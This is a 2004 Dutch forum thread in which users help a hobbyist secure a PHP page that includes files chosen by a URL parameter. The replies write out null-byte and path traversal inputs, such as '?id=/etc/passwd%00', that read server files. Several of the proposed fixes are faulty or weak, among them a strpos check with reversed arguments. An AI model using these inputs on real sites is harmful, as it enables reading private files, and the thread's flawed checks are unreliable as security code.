Dus dat maakt niet uit dat je die zet in je code. Bleek trouwens ook uit de foutmeldingen die je gaf. (rooted.nl.txt kan niet geresolved worden)

Als verbetering van je laatste stukje code:

PHP:

if ( $_GET['id']=='' ) {
$id="3";
$l="?";  
}
else {
$id=intval($_GET['id']);
} 
file_get_contents ($id.'.txt');

Verder gebruik je nog steeds include. Als je een functie als file_get_contents gebruikt, dan maakt het niet uit welke serverside php code in staat, die wordt toch niet uitgevoerd. Zonder die intval($id) zou je dan nog steeds een extern bestand met foute javascript kunnen includen, maar dat is minder erg dan een extern bestand met php code.
Verder kan je ook werken met $id = bestandsnaam, als je die eerst door basename() heen haalt.

Verder kan je beter $_GET['id'] gebruiken ipv $id. (Voor compatibiliteit met de toekomst zeg maar),

[ Voor 18% gewijzigd door Sjaaky op 24-09-2004 10:27 ]

[we_are_borg]

Sjaaky schreef op 24 september 2004 @ 10:09:
zoals php.net zegt:
allow_url_fopen:.... Note: This setting can only be set in php.ini due to security reasons.
Dus dat maakt niet uit dat je die zet in je code. Bleek trouwens ook uit de foutmeldingen die je gaf. (rooted.nl.txt kan niet geresolved worden)

Als verbetering van je laatste stukje code:

PHP:

if ( $id=='' ) {
$id="3";
$l="?";  
}
else {
$id=intval($id);
}

Verder gebruik je nog steeds include. Als je een functie als file_get_contents gebruikt, dan maakt het niet uit welke serverside php code in staat, die wordt toch niet uitgevoerd. Zonder die intval($id) zou je dan nog steeds een extern bestand met foute javascript kunnen includen, maar dat is minder erg dan een extern bestand met php code.
Verder kan je ook werken met $id = bestandsnaam, als je die eerst door basename() heen haalt.

Vreemd genoeg staat die code ook in mijn php.ini.

Het probleem in de code is het volgende:

PHP:

if ( $id=='' ) {
$id="3";
$l="?";  
}
else {
$id=intval($id);
}

Deze code werkt dus niet wat ik ook probeer zo snel dat ik op een link drukt krijg ik een foutmelding te zien. Verander ik de code door $id=intval($id); en $id="3"; om te draaien dan werkt het geheel wel. Ook is het zo als ik $id="3"; en $id=intval($id); omdraaid en dan

PHP:

else {
$id=intval($id);
}

weglaat werk de code ook gewoon. Ik heb dus het vermoeden dat else niet wordt uitgevoerd. Wat logish is volgens mij.

PHP:

if ( $id=='' ) {

Wat dit even doet weet ik nog niet.

PHP:

$id="3";

Ik geef hier aan dat als eerste 3 geopend moet worden nu is het dus zo dat 3.txt bestaat hier in staan opdrachten om nieuws op te halen. Laat ik deze weg dan krijg ik bij openen van mijn pagina geen nieuws te zien.

PHP:

$l="?";

Als ik deze weg haald werkt het geheel ook nog.

PHP:

}
else {
$id=intval($id);
}

Hier staat als if niet voldoet dan deze code uitvoeren, alleen nu komt het de if statement wordt altijd uitgevoerd de nieuws is al geinclude, dus volgens mij wordt de else nooit aan voldaan. Daarom als ik het zaakje omdraait en de else laat vervallen dat het wel werkt.

Om het geheel veiliger te maken kan ik van $id=intval($id);, $id=intval(config.php); maken en in die config.php al mijn files neerzetten het is wel even werk maar dan hoort er niets meer te kunnen gebeuren. Dit is volgens mij wat Sendy bedoelt.
Als ik dan in die config.php opneemt dat hij niet rechtstreeks te benaderen mag zijn en ik hem chmod op 644, moet het toch afdoende zijn. Alleen heb geen idee wat er allemaal in die config.php hoort komen.

[Sjaaky]

Ehm het idee achter intval() is dat al je bestanden er alsvolgt uit zien:
0.txt
1.txt
2.txt
3.txt
etc...

intval('config.php') werkt natuurlijk niet.
Misschien moet je ipv intval() eens basename() gebruiken. Dat moet volgens mij ook wel veilig zijn.

[Verwijderd]

Best veel replies, toch niet zo heel moeilijk probleem. Dan doe ik ook nog maar even mee

Ik zie het nut niet in van een array die alle id's koppelt aan een bestandsnaam als je alle bestanden die ge-include mogen worden onder een bepaalde directory zet. Gewoon een absolute path van maken, controleren of er geen ".." in voorkomt, kijken of het bestand bestaat, en includen maar.

PHP:

define("DEFAULT_PAGE_ID","3");
if( !isset($id) )
{
 $id = DEFAULT_PAGE_ID;
}

$main = "/path/to/includes/{$id}.php";

// als file niet bestaat of er staat ".." in $id dan afkappen
if( !strpos("..", $main) || !file_exists($main) )
{
    die("invalid page request");
}

include($main);

[we_are_borg]

Verwijderd schreef op 24 september 2004 @ 12:17:
Best veel replies, toch niet zo heel moeilijk probleem. Dan doe ik ook nog maar even mee

Ik zie het nut niet in van een array die alle id's koppelt aan een bestandsnaam als je alle bestanden die ge-include mogen worden onder een bepaalde directory zet. Gewoon een absolute path van maken, controleren of er geen ".." in voorkomt, kijken of het bestand bestaat, en includen maar.

PHP:

define("DEFAULT_PAGE_ID","3");
if( !isset($id) )
{
 $id = DEFAULT_PAGE_ID;
}

$main = "/path/to/includes/{$id}.php";

// als file niet bestaat of er staat ".." in $id dan afkappen
if( !strpos("..", $main) || !file_exists($main) )
{
    die("invalid page request");
}

include($main);

Het probleem is wel moeilijk aangezien de files die geinclude moten worden verdeeld staan over ongeveer 20 mappen. Ik dient dus eerst een oplossing te verzinnen met de mappen.

[Pelle]

NMe84 schreef op 23 september 2004 @ 18:29:
Wat ik me dan afvraag, is waarom je dan niet meteen dit doet?

PHP:

$enabled_modules['news']    = true
$enabled_modules['forum']   = true
$enabled_modules['pm']      = true
$enabled_modules['members'] = true
$enabled_modules['faqs']    = true
$enabled_modules['servers'] = true
$enabled_modules['abuse']   = true
$enabled_modules['upload']  = false
$enabled_modules['rcon']    = true
$enabled_modules['polls']   = true
; put the temporary debugging modules below
$enabled_modules['phpinfo'] = true
$enabled_modules['test'] = true

Als je dan toch bezig bent, dan zou ik het zo doen:

PHP:

$enabled_modules    = Array('news'      => true,
                            'forum'     => true,
                            'pm'        => true,
                            'members'   => true,
                            'faqs'      => true,
                            'servers'   => true,
                            'abuse'     => true,
                            'upload'    => true,
                            'rcon'      => true,
                            'polls'     => true,
                            'phpinfo'   => true,
                            'test'      => true);

[Pelle]

Verwijderd schreef op 24 september 2004 @ 12:17:
Ik zie het nut niet in van een array die alle id's koppelt aan een bestandsnaam als je alle bestanden die ge-include mogen worden onder een bepaalde directory zet. Gewoon een absolute path van maken, controleren of er geen ".." in voorkomt, kijken of het bestand bestaat, en includen maar.

Ook daar is weer omheen te werken; je vergeet dat characters ook nog in hexadecimale waarde doorgegeven kunnen worden (urlencoded dus).
Ook het erachter plakken van een extensie is dom, omdat je daar met een \0 character omheen kunt, aangezien dat character de string-terminator is en dus de rest van de string negeert

[Verwijderd]

we_are_borg schreef op 24 september 2004 @ 12:43:
[...]
Het probleem is wel moeilijk aangezien de files die geinclude moten worden verdeeld staan over ongeveer 20 mappen. Ik dient dus eerst een oplossing te verzinnen met de mappen.

Die mappen had je toch eerder ook al? Dus daar is al een oplossing voor neem ik aan eh?

[Verwijderd]

Pelle schreef op 24 september 2004 @ 13:06:

Ook daar is weer omheen te werken; je vergeet dat characters ook nog in hexadecimale waarde doorgegeven kunnen worden (urlencoded dus).
Ook het erachter plakken van een extensie is dom, omdat je daar met een \0 character omheen kunt, aangezien dat character de string-terminator is en dus de rest van de string negeert

Eerste punt kan ik je wel gelijk in geven, zal wel zo zijn. Extensie erachter plakken dom? Zou niet weten waarom. Die zet je erachter omdat je um niet in je url wilt. Als iemand met een \0 de extensie negeert kan ie de file niet meer vinden dus boeiend...

[Pelle]

Verwijderd schreef op 24 september 2004 @ 13:13:
[...]


Eerste punt kan ik je wel gelijk in geven, zal wel zo zijn. Extensie erachter plakken dom? Zou niet weten waarom. Die zet je erachter omdat je um niet in je url wilt. Als iemand met een \0 de extensie negeert kan ie de file niet meer vinden dus boeiend...

Stel je doet dit:

PHP:

include("/wwwroot/blaat/" . $include . ".php");

Dan kan je door script.php?include=hoi%00 in te geven, de file 'hoi' includen in plaats van de file 'hoi.php'. Als je dat dan combineert met een manier om terug te browsen in je path (dus door bijv. gebrekkige checks op .. ofzo) dan kun je ALLES includen waar de webserver leesrechten op heeft.
Oftewel, een extensie ergens achter plakken omdat je dan denkt dat men /etc/passwd niet kan opvragen omdat het toch altijd /etc/passwd.php wordt (die niet bestaat), is redelijk naief

[Verwijderd]

Pelle schreef op 24 september 2004 @ 13:39:
[...]Oftewel, een extensie ergens achter plakken omdat je dan denkt dat men /etc/passwd niet kan opvragen omdat het toch altijd /etc/passwd.php wordt (die niet bestaat), is redelijk naief

Als je m'n post nog eens leest zie je dat ik je punt prima begreep en dat de extensie erachter plakken dus niet ging om watvoor veiligheid dan ook maar puur om van een naampje een filepath te maken. Als je me perse watvoor dommigheid dan ook kwalijk wilt nemen dan is het inderdaad de gebrekkige check op "..".

Maar ergens een extensie achter plakken hoeft dus niet perse dom te zijn. Het heeft gewoon geen kont met veiligheid te maken. Checken van ".." en file_exists hebben dat wel en als je dat altijd doet mag je er netzoveel extensies achter plakken als je fijn vindt.

[we_are_borg]

Verwijderd schreef op 24 september 2004 @ 13:10:
[...]


Die mappen had je toch eerder ook al? Dus daar is al een oplossing voor neem ik aan eh?

Je heb natuujrlijk gelijk de hoofdopdracht ligt buiten de dir. In de mappen staan plaatjes e.d. de rest alleen txt files.

Alleen een klein probleem met het stukje code:

PHP:

define("DEFAULT_PAGE_ID","3");
if( !isset($id) )
{
 $id = DEFAULT_PAGE_ID;
}

$main = "/path/to/includes/{$id}.php";

// als file niet bestaat of er staat ".." in $id dan afkappen
if( !strpos("..", $main) || !file_exists($main) )
{
    die("invalid page request");
}

include($main);

if( !strpos("..", $main) || !file_exists($main) )
{
die("invalid page request");
}

Dit stukje doet een beetje te goed zijn werk als ik het uitschakeld dan werk alles schakel ik het in dan krijg ik gelijk de die te zien.

[Verwijderd]

we_are_borg schreef op 24 september 2004 @ 14:01:
[...]

Dit stukje doet een beetje te goed zijn werk als ik het uitschakeld dan werk alles schakel ik het in dan krijg ik gelijk de die te zien.

Moet je even het pad goedzetten naar je includes op regel 7.

En zoals Pelle al zei (en daar was ik het dus ook meteen mee eens he! ) is de check op ".." niet helemaal safe.

[we_are_borg]

Verwijderd schreef op 24 september 2004 @ 14:09:
[...]


Moet je even het pad goedzetten naar je includes op regel 7.

En zoals Pelle al zei (en daar was ik het dus ook meteen mee eens he! ) is de check op ".." niet helemaal safe.

Dat het niet 100% water dicht is dat is niet zo grote ramp, het is beter als geen controlle.

ik heb trouwens het pad goed gezet alleen die "die" sprint er gelijk in als ik hem activeer dat stuk.

Dit is het zelfde probleem wat ik had met de else statment die werkte ook niet.

[Sjaaky]

Als !strpos("..", $main) niet werkt moet je even in de handleiding van php kijken . Dan zal je zien dat strpos($main, "..") bedoeld werd.

Dat iets urlencoded is maakt voor php niet uit. Php ziet %2e%2e gewoon weer als ..
Misschien dat er nog unicode characters zijn die er wel doorheen komen (zoals bij de IIS bug). Maar welke zijn dit dan? En zijn er daar meer van?

Het afkappen van een string met %00 werkt bij mij niet. Als ik url?id=/etc/passwd%00 gebruik wordt mijn $id variabele '/etc/passwd\0'. En dat bestand kan hij niet vinden. Ik ben wel geinteresseerd in andere manieren, uiteraard moet het wel veilig gemaakt kunnen worden. Werkt wel als magic_quotes_gpc uit staat.

[ Voor 7% gewijzigd door Sjaaky op 24-09-2004 14:54 ]

[chris]

Als $id altijd een nummer is is dit echt DE makkelijkste en veiligste oplossing:

$id = (int) $id;

Zet dit bovenaan je file en je hebt nergens meer last van...

[we_are_borg]

Sjaaky schreef op 24 september 2004 @ 14:35:
Als !strpos("..", $main) niet werkt moet je even in de handleiding van php kijken . Dan zal je zien dat strpos($main, "..") bedoeld werd.

Dat iets urlencoded is maakt voor php niet uit. Php ziet %2e%2e gewoon weer als ..
Misschien dat er nog unicode characters zijn die er wel doorheen komen (zoals bij de IIS bug). Maar welke zijn dit dan? En zijn er daar meer van?

Het afkappen van een string met %00 werkt bij mij niet. Als ik url?id=/etc/passwd%00 gebruik wordt mijn $id variabele '/etc/passwd\0'. En dat bestand kan hij niet vinden. Ik ben wel geinteresseerd in andere manieren, uiteraard moet het wel veilig gemaakt kunnen worden. Werkt wel als magic_quotes_gpc uit staat.

strpos($main, "..") ook geprobeerd alleen het duurde een tijdje dat ik door had dat het strrpos($main, "..") moest zijn. Nu werkt het wel goed.

Alleen is het raadzaam om de .txt files te hernoemen naar .php en in die files het volgende op te nemen

PHP:

if (!eregi("filenaam.php", $_SERVER['PHP_SELF'])) {
    die ("You can't access this file directly...");

Is dit te doen of zeggen jullie het is niet meer nodig.

[zeroxcool]

chris schreef op 24 september 2004 @ 15:23:
Als $id altijd een nummer is is dit echt DE makkelijkste en veiligste oplossing:

$id = (int) $id;

Zet dit bovenaan je file en je hebt nergens meer last van...

PHP:

$id = intval($id);

Is dan mooier vind ik .

[Grijze Vos]

Sjaaky schreef op 24 september 2004 @ 10:09:
Zonder die intval($id) zou je dan nog steeds een extern bestand met foute javascript kunnen includen, maar dat is minder erg dan een extern bestand met php code.

Externe javascriptjes kunnen ook nog behoorlijk ranzige dingen doen hoor. Cookies verzenden naar een andere site bijvoorbeeld. Niet altijd worden login-sessies aan IP's gekoppeld, dus dan is een cookie overkopieren al voldoende om access te krijgen tot iemand's account.